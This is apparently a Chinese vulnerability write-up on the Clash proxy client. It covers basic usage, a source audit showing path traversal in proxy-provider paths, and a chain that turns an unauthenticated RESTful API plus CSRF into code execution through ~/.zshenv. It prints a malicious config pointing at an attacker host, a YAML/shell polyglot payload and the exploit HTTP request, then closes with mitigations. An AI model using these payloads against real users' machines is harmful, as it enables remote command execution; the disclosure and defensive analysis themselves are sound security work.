关于 Clash 名词解释
Clash
一个使用 Golang 编写的,支持 Shadowsocks(R)、VMess、Trojan、Snell、SOCKS5、HTTP(S)等多个代理协议的代理工具。
ClashX
旨在提供一个简单轻量化的开源 GUI 代理客户端,编写于 Swift,仅支持 MacOS 平台。
Clash for Windows (简称 CFW,后面统一使用简称)
编写于 Electron 的闭源 GUI 代理客户端,支持 Windows/MacOS/Linux 多个平台。
以上是目前最流行的三款 Clash 系列相关的软件,Clash 和 ClashX 源代码都是开源的,CFW 是闭源的,ClashX 与 CFW 这两个 GUI 工具的核心依然是前者 Clash,即 Clash 是 ClashX 与 CFW 的上游。
基本使用 Linux 平台 在 Linux 平台上,一般都是直接用 go 安装 CLI 的 Clash 进行使用。
1 2 3 $ go install github.com/Dreamacro/clash@latest $ clash -v Clash unknown version linux amd64 with go1.19.1 unknown time
为图使用方便,参考官方文档(https://github.com/Dreamacro/clash/wiki/Running-Clash-as-a-service ),将 Clash 通过 systemd 服务来管理运行,这里不过多赘述。
试着第一次运行它,可以发现它会自动创建目录和相关配置文件。
1 2 3 4 5 6 7 $ clash INFO[0000] Can't find config, create a initial config file INFO[0000] Can't find MMDB, start download INFO[0003] Mixed(http+socks) proxy listening at: 127.0.0.1:7890 ^C $ ls ~/.config/clash/cache.db config.yaml Country.mmdb
生成的默认配置显然是不能直接使用的。一般来说主配置文件的来源可能是自己在相应的提供商上买,也可以是去网上找其他人的分享。
1 body="自动抓取tg频道、订阅地址、公开互联网上的ss、ssr、vmess、trojan节点信息"
将其下载下来,放到指定位置,就可以使用了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $ curl https://www.gwggwebsite.top/clash/config -o ~/.config/clash/config.yaml $ head -n 20 ~/.config/clash/config.yaml# 所有节点均从公开互联网上抓取,使用clash自动检查可用性即可 # 抓取程序已开源: https://github.com/zu1k/proxypool # port of HTTP port: 7890 # port of SOCKS5 socks-port: 7891 # (HTTP and SOCKS5 in one port) # mixed-port: 7890 # redir port for Linux and macOS # redir-port: 7892 allow-lan: false mode: rule log-level: info external-controller: 127.0.0.1:9090
如果未将 Clash 配置为 systemd 服务,那么也可以直接命令行启动 Clash。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $ clash INFO[0000] Start initial provider sg INFO[0000] Start initial provider au INFO[0000] Start initial provider fr INFO[0000] Start initial provider gb INFO[0000] Start initial provider ca INFO[0000] Start initial provider all INFO[0000] Start initial provider de INFO[0000] Start initial provider others INFO[0000] Start initial provider us INFO[0000] Start initial provider ru INFO[0000] Start initial provider ch INFO[0000] Start initial provider cn INFO[0000] Start initial provider jp INFO[0000] Start initial provider nl INFO[0000] Start initial compatible provider 选择国家 INFO[0000] Start initial compatible provider 全局选择 INFO[0000] HTTP proxy listening at: 127.0.0.1:7890 INFO[0000] SOCKS proxy listening at: 127.0.0.1:7891 INFO[0000] RESTful API listening at: 127.0.0.1:9090
如上便是成功启动了 Clash,与此同时,Clash 配置目录还产生了一个目录以及一些provider
配置文件。
1 2 3 4 5 6 7 $ ls .config/clash/{config.yaml,www*}.config/clash/config.yaml .config/clash/www.gwggwebsite.top: provider-au.yaml provider-cn.yaml provider-gb.yaml provider-others.yaml provider-us.yaml provider-ca.yaml provider-de.yaml provider-jp.yaml provider-ru.yaml provider.yaml provider-ch.yaml provider-fr.yaml provider-nl.yaml provider-sg.yaml
通过如下测试,能确定 Clash 确实是成功工作的。
1 2 3 4 5 6 7 8 9 10 11 $ curl -x socks5://127.0.0.1:7891 ip.sb 152.70.74.66 $ curl cip.cc/152.70.74.66 IP : 152.70.74.66 地址 : 美国 美国 数据二 : 美国 数据三 : 美国加利福尼亚 URL : http://www.cip.cc/152.70.74.66
macOS 平台 在 macOS 上,一般都是使用有 GUI 的 ClashX 或 CFW。以下为 ClashX 使用步骤,CFW 的使用类似,不作过多说明。
ClashX 初次运行会在~/.config/clash/
目录产生一个名为 config.yaml 的主配置文件,文件内容如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 mixed-port: 7890 external-controller: 127.0 .0 .1 :9090 allow-lan: false mode: rule log-level: warning proxies: proxy-groups: rules: - DOMAIN-SUFFIX,google.com,DIRECT - DOMAIN-KEYWORD,google,DIRECT - DOMAIN,google.com,DIRECT - DOMAIN-SUFFIX,ad.com,REJECT - GEOIP,CN,DIRECT - MATCH,DIRECT
ClashX 的使用也是基于一份配置文件,同样只需将可用的主配置文件放到~/.config/clash/
目录下,之后就可以使用了。具体步骤就是点击右上角 ClashX 图标,依次选择「Config」-「Remote config」-「Manage」-「Add」,将远程链接填入 Url 栏中即可自动下载远程的配置文件到本地。
可以观察到一个现象,将远程配置文件下载到本地的同时,还在本地创建了一个目录,该目录存放的是各种不同地区的provider
配置文件,与在 Linux 上观察的现象一样。
Windows 平台 Windows 用户大多都是使用 CFW,由于都是图形化操作,在使用上与 ClashX 类似,不做过多说明。
使用 Tips Clash 一个强大的功能就是能够管理不同的多种类型的代理协议,那么可以利用这一点方便在日常渗透的时候快速切换不同 IP 地址。只需在配置文件中使用负载均衡模式下,将strategy
参数的值修改为round-robin
即可,参考issue#1062 。
1 2 3 4 5 6 7 8 9 10 11 - name: "load-balance" type: load-balance proxies: - ss1 - ss2 - vmess1 url: 'http://www.gstatic.com/generate_204' interval: 300 strategy: round-robin
效果如下图所示,秒级别切换 IP 代理地址。
历史漏洞 CFW XSS2RCE - 2022/02/23
Clash For Windows 是由 Electron 提供的。如果一个 XSS 有效载荷是以代理的名义,我们可以在受害者的电脑上远程执行任何 JavaScript 代码。
详见此 issue:[Bug]: Remote Code Execution/远程代码执行 #2710 。
CFW 路径穿越致使 parsers JS RCE - 2023/01/13
Windows 上的 clash_for_windows 在 0.20.12 在订阅一个恶意链接时存在远程命令执行漏洞。因为对订阅文件中 rule-providers 的 path 的不安全处理导致 cfw-setting.yaml 会被覆盖,cfw-setting.yaml 中 parsers 的 js 代码将会被执行。
详见此 issue:[Bug]: Remote Code Execution/远程代码执行 #3891 。
CFW 开发于 Electron。Electron 是 GitHub 开发的一个使用 JavaScript、HTML 和 CSS 构建桌面应用程序的开源框架。它通过使用 Node.js 和 Chromium 的渲染引擎完成跨平台的桌面 GUI 应用程序的开发,因此 Electron 拥有直接执行 Node.js 代码的能力,并且内置了 Chromium 内核,通过一个 XSS 漏洞就有可能导致远程代码执行的危害。
CFW 本身是支持 Windows/Linux/macOS 三个平台的,但从以上两个漏洞可以发现,由于 CFW 开发于 Electron,变相的引入了一层攻击面,导致其使用风险过高,并且 CFW 源代码并未开源。一部分用户可能会转移去使用其他的 Clash 客户端软件,比如 macOS 用户可能会改用 ClashX,Linux 用户或许会直接使用 Clash CLI 工具。
主配置文件 在进行下一步工作之前,先来了解下主配置文件。如下是主配置文件的部分内容,为节省长度,已省略注释和部分重复字段。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 port: 7890 socks-port: 7891 allow-lan: false mode: rule log-level: info external-controller: 127.0 .0 .1 :9090 proxies: proxy-groups: - name: 全局选择 type: select proxies: - 选择国家 - name: 选择国家 type: select proxies: - 🇺🇸 美国 - name: 🇺🇸 美国 type: url-test url: "http://www.gstatic.com/generate_204" interval: 300 use: - us proxy-providers: us: type: http url: "https://www.gwggwebsite.top/clash/proxies?c=US" path: www.gwggwebsite.top/provider-us.yaml health-check: enable: true interval: 600 url: http://www.gstatic.com/generate_204
值得留意的是proxy-providers
中的path
字段的值为www.gwggwebsite.top/provider-us.yaml
。
在前面的基本使用小节,演示了 Linux 与 macOS 平台上 Clash 的基本使用。根据观察到的现象,提到了创建了一个文件夹www.gwggwebsite.top
,其中还有一些provider
配置文件。
那么可以肯定的是proxy-providers
中的path
字段的值对应的是本地的相对路径。
代码审计分析 现在已知的信息是,Clash 和 ClashX 都会根据主配置文件中的proxy-providers
的path
参数值,下载provider
配置文件至本地。而在 CFW 历史漏洞中也可以发现,CFW 对订阅文件中rule-providers
的path
存在着不安全的处理,但由于 CFW 并未开源,我们无从得知 CFW 是怎么处理rule-providers
的细节,不过通过对比proxy-providers
和rule-providers
的结构和内容,可以发现两者很相似。
1 2 3 4 5 6 7 8 9 proxy-providers: us: type: http url: "https://www.gwggwebsite.top/clash/proxies?c=US" path: www.gwggwebsite.top/provider-us.yaml health-check: enable: true interval: 600 url: http://www.gstatic.com/generate_204
1 2 3 4 5 6 7 rule-providers: p: type: http behavior: domain url: "http://this.your.url/cfw-settings.yaml" path: ./cfw-settings.yaml interval: 86400
type
、url
、path
三个键是完全对上了,所以怀疑这里的处理逻辑是差不多的。又因为 ClashX 和 CFW 的上游代码用的都是 Clash,那么只需对 Clash 此处的功能点进行审计即可。
Clash 配置的结构如下,位于config/config.go
文件,着重留意proxy-providers
,因为path
存在于其中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 type RawConfig struct { Port int `yaml:"port"` SocksPort int `yaml:"socks-port"` RedirPort int `yaml:"redir-port"` TProxyPort int `yaml:"tproxy-port"` MixedPort int `yaml:"mixed-port"` Authentication []string `yaml:"authentication"` AllowLan bool `yaml:"allow-lan"` BindAddress string `yaml:"bind-address"` Mode T.TunnelMode `yaml:"mode"` LogLevel log.LogLevel `yaml:"log-level"` IPv6 bool `yaml:"ipv6"` ExternalController string `yaml:"external-controller"` ExternalUI string `yaml:"external-ui"` Secret string `yaml:"secret"` Interface string `yaml:"interface-name"` RoutingMark int `yaml:"routing-mark"` Tunnels []Tunnel `yaml:"tunnels"` ProxyProvider map [string ]map [string ]any `yaml:"proxy-providers"` Hosts map [string ]string `yaml:"hosts"` DNS RawDNS `yaml:"dns"` Experimental Experimental `yaml:"experimental"` Profile Profile `yaml:"profile"` Proxy []map [string ]any `yaml:"proxies"` ProxyGroup []map [string ]any `yaml:"proxy-groups"` Rule []string `yaml:"rules"` }
与proxy-providers
相关的代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 func parseProxies (cfg *RawConfig) (proxies map [string ]C.Proxy, providersMap map [string ]providerTypes.ProxyProvider, err error ) { proxies = make (map [string ]C.Proxy) providersMap = make (map [string ]providerTypes.ProxyProvider) proxyList := []string {} proxiesConfig := cfg.Proxy groupsConfig := cfg.ProxyGroup providersConfig := cfg.ProxyProvider for name, mapping := range providersConfig { if name == provider.ReservedName { return nil , nil , fmt.Errorf("can not defined a provider called `%s`" , provider.ReservedName) } pd, err := provider.ParseProxyProvider(name, mapping) if err != nil { return nil , nil , fmt.Errorf("parse proxy provider %s error: %w" , name, err) } providersMap[name] = pd } for _, provider := range providersMap { log.Infoln("Start initial provider %s" , provider.Name()) if err := provider.Initial(); err != nil { return nil , nil , fmt.Errorf("initial proxy provider %s error: %w" , provider.Name(), err) } } return proxies, providersMap, nil }
首先是创建了一个空 map providersMap
。
1 providersMap = make (map [string ]providerTypes.ProxyProvider)
providerTypes.ProxyProvider
是一个接口。其中的Provider
接口代码位置在其之上。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 type Provider interface { Name() string VehicleType() VehicleType Type() ProviderType Initial() error Update() error } type ProxyProvider interface { Provider Proxies() []constant.Proxy Touch() HealthCheck()
创建providersMap
之后,中间的其他变量赋值先不管,直接来到解析和初始化providers
相关代码。
parse providers 先对第一个 for 循环语句解析 providers 的代码进行分析,跟进其中的provider.ParseProxyProvider
,进入到adapter/provider/parser.go
文件。其中的proxyProviderSchema
结构体如下,着重关注path
。
1 2 3 4 5 6 7 8 type proxyProviderSchema struct { Type string `provider:"type"` Path string `provider:"path"` URL string `provider:"url,omitempty"` Interval int `provider:"interval,omitempty"` Filter string `provider:"filter,omitempty"` HealthCheck healthCheckSchema `provider:"health-check,omitempty"` }
在ParseProxyProvider
中,使用了constant.Path.Resolve
对Path
做了处理。
1 path := C.Path.Resolve(schema.Path)
那么进入到contant/path.go
文件中,Resolve
内容如下。
1 2 3 4 5 6 7 8 func (p *path) Resolve(path string ) string { if !filepath.IsAbs(path) { return filepath.Join(p.HomeDir(), path) } return path }
p.HomeDir()
的值通过如下代码可以得知,就是~/.config/clash
。
1 2 3 4 5 6 7 8 9 10 11 12 const Name = "clash" var Path = func () *path { homeDir, err := os.UserHomeDir() if err != nil { homeDir, _ = os.Getwd() } homeDir = P.Join(homeDir, ".config" , Name) return &path{homeDir: homeDir, configFile: "config.yaml" } }()
回到上面,Resolve
会将/Users/$USERNAME/.config/clash/
与主配置文件中proxy-providers
的path
参数值www.gwggwebsite.top/provider-us.yaml
进行拼接,然后返回到ParseProxyProvider
函数中的path
变量,最后path
变量的值为/Users/$USERNAME/.config/clash/www.gwggwebsite.top/provider-us.yaml
,当然如果你是 Linux 系统,会略有所不同。
继续往下,判断schema.Type
的值,如果是http
,则将schema.URL
和path
传入到NewHTTPVehicle
函数,在其中会返回一个HTTPVehicle
结构体数据,然后赋值给vehicle
。schema.URL
的值对应的是主配置文件中proxy-providers
的url
参数值https://www.gwggwebsite.top/clash/proxies?c=US
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 path := C.Path.Resolve(schema.Path) var vehicle types.Vehicleswitch schema.Type {case "file" : vehicle = NewFileVehicle(path) case "http" : vehicle = NewHTTPVehicle(schema.URL, path) default : return nil , fmt.Errorf("%w: %s" , errVehicleType, schema.Type) } interval := time.Duration(uint (schema.Interval)) * time.Second filter := schema.Filter return NewProxySetProvider(name, interval, filter, vehicle, hc)
然后调用NewProxySetProvider
函数,进入到NewProxySetProvider
函数中,最后返回wrapper
。只需明白wrapper
中包含 provider 的名称、远程 URL url
、本地路径path
,更新时间间隔interval
等信息。
1 2 3 4 5 6 7 8 9 10 11 func NewProxySetProvider (name string , interval time.Duration, filter string , vehicle types.Vehicle, hc *HealthCheck) (*ProxySetProvider, error ) { fetcher := newFetcher(name, interval, vehicle, proxiesParseAndFilter, onUpdate) pd.fetcher = fetcher wrapper := &ProxySetProvider{pd} runtime.SetFinalizer(wrapper, stopProxyProvider) return wrapper, nil }
wrapper
最终返回到config/config.go
中作为pd
变量的值。pd 作为值赋给providersMap["us"]
。
1 2 3 4 5 6 pd, err := provider.ParseProxyProvider(name, mapping) if err != nil { return nil , nil , fmt.Errorf("parse proxy provider %s error: %w" , name, err) } providersMap[name] = pd
initial providers 上面的 for 循环结束后,来到下面的 for 语句中,进行初始化providersMap
中的各个provider
,也就是上一个环节中的pd
。
1 2 3 4 5 6 for _, provider := range providersMap { log.Infoln("Start initial provider %s" , provider.Name()) if err := provider.Initial(); err != nil { return nil , nil , fmt.Errorf("initial proxy provider %s error: %w" , provider.Name(), err) } }
那么则直接跟进provider.Initial()
,达到adapter/provider/provider.go
文件中。
1 2 3 4 5 6 7 8 9 func (pp *proxySetProvider) Initial() error { elm, err := pp.fetcher.Initial() if err != nil { return err } pp.onUpdate(elm) return nil }
再进入到pp.fetcher.Initial()
,发现存在safeWrite
。
1 2 3 4 5 if f.vehicle.Type() != types.File && !isLocal { if err := safeWrite(f.vehicle.Path(), buf); err != nil { return nil , err } }
safeWrite
函数实现如下。
1 2 3 4 5 6 7 8 9 10 11 func safeWrite (path string , buf []byte ) error { dir := filepath.Dir(path) if _, err := os.Stat(dir); os.IsNotExist(err) { if err := os.MkdirAll(dir, dirMode); err != nil { return err } } return os.WriteFile(path, buf, fileMode) }
此处path
参数的值就是第一阶段 parse providers 时的那个path
参数,其值就是/Users/$USERNAME/.config/clash/www.gwggwebsite.top/provider-us.yaml
。
小结 根据以上 parse 和 initial providers 的一整个流程,可以发现https://www.gwggwebsite.top/clash/proxies?c=US
的远程内容被下载到本地的/Users/$USERNAME/.config/clash/www.gwggwebsite.top/provider-us.yaml
路径。
1 2 3 4 5 6 7 8 9 proxy-providers: us: type: http url: "https://www.gwggwebsite.top/clash/proxies?c=US" path: www.gwggwebsite.top/provider-us.yaml health-check: enable: true interval: 600 url: http://www.gstatic.com/generate_204
如下代码,对来自外部的path
没有任何判断,不仅支持绝对的路径,而且在使用了filepath.Join
拼接路径时,没有考虑路径穿越的问题。
1 2 3 4 5 6 7 8 func ParseProxyProvider (name string , mapping map [string ]any) (types.ProxyProvider, error ) { path := C.Path.Resolve(schema.Path) }
1 2 3 4 5 6 7 8 func (p *path) Resolve(path string ) string { if !filepath.IsAbs(path) { return filepath.Join(p.HomeDir(), path) } return path }
在向本地WriteFile
写文件时,也应该限制只可以将文件写入/Users/$USERNAME/.config/clash/
目录之中。
1 2 3 4 5 6 7 8 9 10 11 12 func safeWrite (path string , buf []byte ) error { dir := filepath.Dir(path) if _, err := os.Stat(dir); os.IsNotExist(err) { if err := os.MkdirAll(dir, dirMode); err != nil { return err } } return os.WriteFile(path, buf, fileMode) }
此处也就存在一个路径穿越漏洞,而且path
参数的文件名和其文件内容是可控的,那么最终就导致任意位置任意文件写入,不过需要注意的是写入的文件内容需要符合 yaml 格式。
那将文件写入到哪儿,才能最大化利用这个漏洞呢?在 Linux 系统上可以写入~/.bash_profile
、~/.profile
、~/.bashrc
这三个文件之中;在 macOS 中也可以写入到这三个文件中,除此之外,还可以写 zsh 相关的配置文件~/.zshenv
;对于 Windows 系统,利用方式在历史漏洞章节已经提过了。下面给出一个示例的恶意主配置文件内容。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 mixed-port: 7890 allow-lan: false mode: rule log-level: warning proxy-providers: provider1: type: http url: "http://{{yourevilser}} /evil.yaml" interval: 3600 path: ../../.zshenv healthcheck: enable: true interval: 600 url: http://www.gstatic.com/generate_204
其中evil.yaml
内容如下,由于 Clash 对格式做了检查,如果不符合 yaml 格式则会报错,所以此处不仅需要符合 yaml 格式,最好还要尽可能的符合 shell 格式,以防止在执行命令的过程中报错被受害者发觉,如下的<<!
在 shell 中意味着多行注释。
1 2 3 4 5 6 7 open /System/Applications/Calculator.app;rm -f ~/.zshenv;bash -c 'nohup sleep 10 2>&1 > /dev/null &' <<!: aaaaa: 11111 proxies: - {name: vP , server: n04.a00x.party , port: 18000 , type: ssr , cipher: aes-256-cfb , password: AFX92CS , protocol: auth_aes128_sha1 , obfs: http_simple , protocol-param: 232991 :xSnSFv , obfs-param: download.windowsupdate.com , udp: true } aaaaa: 2222
RESTful API 但是可以发现,上面那种利用方式的局限性就在于,需要受害者手动去导入一个不可信的远程配置,这对于攻击者来说,未必是那么容易实现。那么有没有一种方式能让受害者自动导入一个不可信的远程配置呢?
根据 Clash 官方文档的介绍(https://clash.gitbook.io/doc/restful-api),Clash 存在一套 RESTful API 可以用于控制自身,能获取 Clash 中的一些信息,同时也能控制 Clash 内部的配置。
在 Clash 的配置文件中加入external-controller
字段,即可去访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ grep external config.yaml && curl 127.0.0.1:9090 external-controller: 127.0.0.1:9090 {"hello":"clash"} # 获得Clash当前的基础配置 $ curl -s http://127.0.0.1:9090/configs | jq . { "port": 7890, "socks-port": 7891, "redir-port": 0, "tproxy-port": 0, "mixed-port": 0, "authentication": [], "allow-lan": false, "bind-address": "*", "mode": "rule", "log-level": "info", "ipv6": false }
并且根据官方的如下建议,建议当external-controller
为0.0.0.0
时,此时一定要加上secret
进行鉴权。
如果不是为了特殊需求,请尽量不要把 API 暴露在 0.0.0.0,如果真的要这么做,一定要加上 secret 进行鉴权
上图是公网暴露的 Clash,它们的external-controller
均为0.0.0.0
。
而官方给出的建议还造成了一点误解,当external-controller
不为0.0.0.0
时,鉴权是不是就变得无关紧要了呢?导致大部分人在大部分情况下,会将主配置文件中external-controller
的值改为非0.0.0.0
的值(例如127.0.0.1
),secret
则会直接留空。在实际中见到的主配置文件,里面确实都是没有secret
的。
在鉴权这一问题上,CFW 比 Clash 与 ClashX 做的要安全很多。CFW 初次打开,如果~/.config/clash/config.yaml
文件不存在,则会生成的一个默认主配置文件,在此配置中不仅会随机化external-controller
的端口,而且还会使用一个 36 位长度的随机字符串作为secret
的值,并且从外部更新得到的主配置不会影响原默认external-controller
和secret
的配置,无论何时都需要鉴权。所以 CFW 的 RESTful API 相对安全,使用 CFW 的的用户也相对安全。
继续查阅 RESTful API 接口,发现某个 API 可以重新加载配置文件,这里倒是引起了注意力。
对重新加载配置文件功能点进行白盒代码审计,首先先跟进/configs
路由的代码。
关键代码updateConfigs
函数的内容如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 func updateConfigs (w http.ResponseWriter, r *http.Request) { req := struct { Path string `json:"path"` Payload string `json:"payload"` }{} if err := render.DecodeJSON(r.Body, &req); err != nil { render.Status(r, http.StatusBadRequest) render.JSON(w, r, ErrBadRequest) return } force := r.URL.Query().Get("force" ) == "true" var cfg *config.Config var err error if req.Payload != "" { cfg, err = executor.ParseWithBytes([]byte (req.Payload)) if err != nil { render.Status(r, http.StatusBadRequest) render.JSON(w, r, newError(err.Error())) return } } else { if req.Path == "" { req.Path = constant.Path.Config() } if !filepath.IsAbs(req.Path) { render.Status(r, http.StatusBadRequest) render.JSON(w, r, newError("path is not a absolute path" )) return } cfg, err = executor.ParseWithPath(req.Path) if err != nil { render.Status(r, http.StatusBadRequest) render.JSON(w, r, newError(err.Error())) return } } executor.ApplyConfig(cfg, force) render.NoContent(w, r) }
当payload
参数传入重载的配置文件内容不为空的时候,往下继续判断要指定重载的配置文件路径path
参数是否为空,如果为空,则是默认值~/.config/clash/config.yaml
。最后到executor.ApplyConfig(cfg, force)
处理。
先跟进executor.ParseWithBytes
,位于文件hub/executor/executor.go
,内容如下。
1 2 3 4 func ParseWithBytes (buf []byte ) (*config.Config, error ) { return config.Parse(buf) }
继续进入config.Parse
,位于文件config/config.go
,内容如下。
1 2 3 4 5 6 7 8 9 func Parse (buf []byte ) (*Config, error ) { rawCfg, err := UnmarshalRawConfig(buf) if err != nil { return nil , err } return ParseRawConfig(rawCfg) }
其中UnmarshalRawConfig
函数是检查配置是否符合 yaml 格式。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 func UnmarshalRawConfig (buf []byte ) (*RawConfig, error ) { rawCfg := &RawConfig{ AllowLan: false , BindAddress: "*" , Mode: T.Rule, Authentication: []string {}, LogLevel: log.INFO, Hosts: map [string ]string {}, Rule: []string {}, Proxy: []map [string ]any{}, ProxyGroup: []map [string ]any{}, DNS: RawDNS{ Enable: false , UseHosts: true , FakeIPRange: "198.18.0.1/16" , FallbackFilter: RawFallbackFilter{ GeoIP: true , GeoIPCode: "CN" , IPCIDR: []string {}, }, DefaultNameserver: []string { "114.114.114.114" , "8.8.8.8" , }, }, Profile: Profile{ StoreSelected: true , }, } if err := yaml.Unmarshal(buf, rawCfg); err != nil { return nil , err } return rawCfg, nil }
然后再进入到ParseRawConfig
函数,其中发现parseProxies
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 func ParseRawConfig (rawCfg *RawConfig) (*Config, error ) { config := &Config{} config.Experimental = &rawCfg.Experimental config.Profile = &rawCfg.Profile general, err := parseGeneral(rawCfg) if err != nil { return nil , err } config.General = general proxies, providers, err := parseProxies(rawCfg) if err != nil { return nil , err } config.Proxies = proxies config.Providers = providers return config, nil }
在代码审计分析章节,就是从parseProxies
函数着手分析,进而分析了 parse 和 initial providers 的完整流程,最后得出结论,存在路径穿越漏洞,最终导致任意位置任意文件写入。所以此处也应同样如此,不过不同的是,RESTful API 方式无需受害者去手动导入一个恶意的主配置,只要能对 Clash 触发一个 HTTP 请求即可。
HTTP 报文如下,同时本地提供一个 9999 端口的 Web 服务,对外提供 evil.yaml 文件。
1 2 3 4 5 6 7 8 9 10 11 PUT /configs?force=true HTTP/1.1 Host : 127.0.0.1:9090Accept-Encoding : gzip, deflateAccept : */*Accept-Language : enUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Connection : closeContent-Type : application/x-www-form-urlencodedContent-Length : 326{"payload" :"mixed-port: 7890\n allow-lan: false\n mode: rule\n log-level: warning\n proxy-providers:\n provider1:\n type: http\n url: 'http://127.0.0.1:9999/evil.yaml'\n interval: 3600\n path: ../../.zshenv\n healthcheck:\n enable: true\n interval: 600\n url: http://www.gstatic.com/generate_204" }
观察 HTTP 日志可以发现,来自 Clash 的请求,请求 evil.yaml 文件,并将其写入至本地../../.zshenv
路径。
当打开一个 zsh 终端,如下命令就会被执行。
1 open /System/Applications/Calculator.app;rm -f ~/.zshenv;bash -c 'nohup sleep 10 2>&1 > /dev/null &
CSRF2RCE 如上直接通过 RESTful API 的方式去触发 Clash 的漏洞,需要考虑的是,攻击者能够访问到受害者的 Clash 服务。换句话说,上述方式只有在当external-controller
为0.0.0.0
或攻击者能访问到的地址时,才可以实现。
当目标受害者的 Clash 配置中的external-controller
为127.0.0.1
时,攻击者不能直接访问到受害者 Clash 的 RESTful API,也就直接无法实现攻击。
但是不过根据官方文档的说法,Clash 的 RESTful API 支持 CORS(跨域资源共享),这样就直接解锁了跨域的限制。
CORS
为了能使 Clash 更加灵活,RESTful API 支持 CORS 让使用者能从浏览器使用 XHR、fetch 调用。
那么攻击者可以构造一个恶意的网页,当受害者使用浏览器访问时,浏览器将会执行攻击者精心构造的 JS 代码,此时将是受害者自身的浏览器去请求 Clash 的 RESTful API,从而间接地达到强制重载受害者 Clash 的配置文件的目的。
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在公网起一个 Web 服务,同时允许跨域,对外提供如上 index.html 和 evil.yaml 恶意文件,evil.yaml 文件中包含了攻击者期望执行的命令。注意将如上 html 中的{{yourevilser}}
换成你自己的 IP 或者域名。
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限于文章篇幅,针对使用 CLI Clash 的 Linux 用户的攻击就不演示了,只做针对 macOS 用户使用 ClashX 是如何遭受到攻击的演示。
当 macOS 用户在日常使用 ClashX 时,此时打开一条来自攻击者发过来的恶意链接时,浏览器就会自动去请求 Clash 的 RESTful API,如下图所示,使用最新版 Firefox 和 Safari 浏览器都成功对本地 Clash 发出了请求,Firefox 和 Safari 浏览器比较宽松。
而由于 Chrome 浏览器推出的Private Network Access 安全策略,不允许公网 HTTP 协议的网站对本地网络进行请求,对于 Chrome 浏览器协议最好使用 HTTPS。
所以最终恶意网站统一使用 HTTPS 协议,这样便可以同时兼容三大浏览器。
浏览器成功对 Clash RESTful API 发送请求后,之后 Clash 会自动将 evil.yaml 下载到受害者本地~/.zshenv
路径,当受害者打开终端时,就会自动执行此文件中的内容。
总结 当 Clash 开启了 RESTful API 并且没有做鉴权,此时无论监听的地址是什么,都会存在被攻击的可能。被攻击的方式可能是直接的,也可能是间接的。公网目前还存在大量未加鉴权的 Clash,都存在被直接攻击的风险。间接攻击发生在 Clash 客户端 RESTful API 侦听的地址为内网/本地地址,此时攻击者无法直接访问受害者的 Clash RESTful API。
漏洞根源在于 Clash 中存在的路径穿越,借助 Clash 未鉴权的 RESTful API,配合 CSRF 漏洞,攻击者只需很低的攻击成本(受害者访问一个网页 )就可以达到未授权配置重置下载任意文件至相应路径,最终实现远程命令执行。
防范这种攻击也很简单,对于不会使用到的 RESTful API 功能,就默认关闭服务,减少暴露面,具体的做法是在配置文件里将external-controller
那一行注释或者删掉;当然如果需要使用到 RESTful API 的话,那就做强鉴权,secret
的值使用一个随机复杂的密码代替,external-controller
的端口也可以修改成其他不常见端口。修改配置后需要重启软件才能生效。最后,在做好这一切后,还要避免导入不安全的输入,即不要随便导入不受信任的配置文件,因为这是攻击者仅剩的唯一光顾窗口。
一些存在漏洞的本地服务虽然只运行在本地网络环境上,但未必就很安全,有时远程攻击者利用 CSRF 和钓鱼等组合攻击的方式,通常就能成功达到攻击本地应用的目的。
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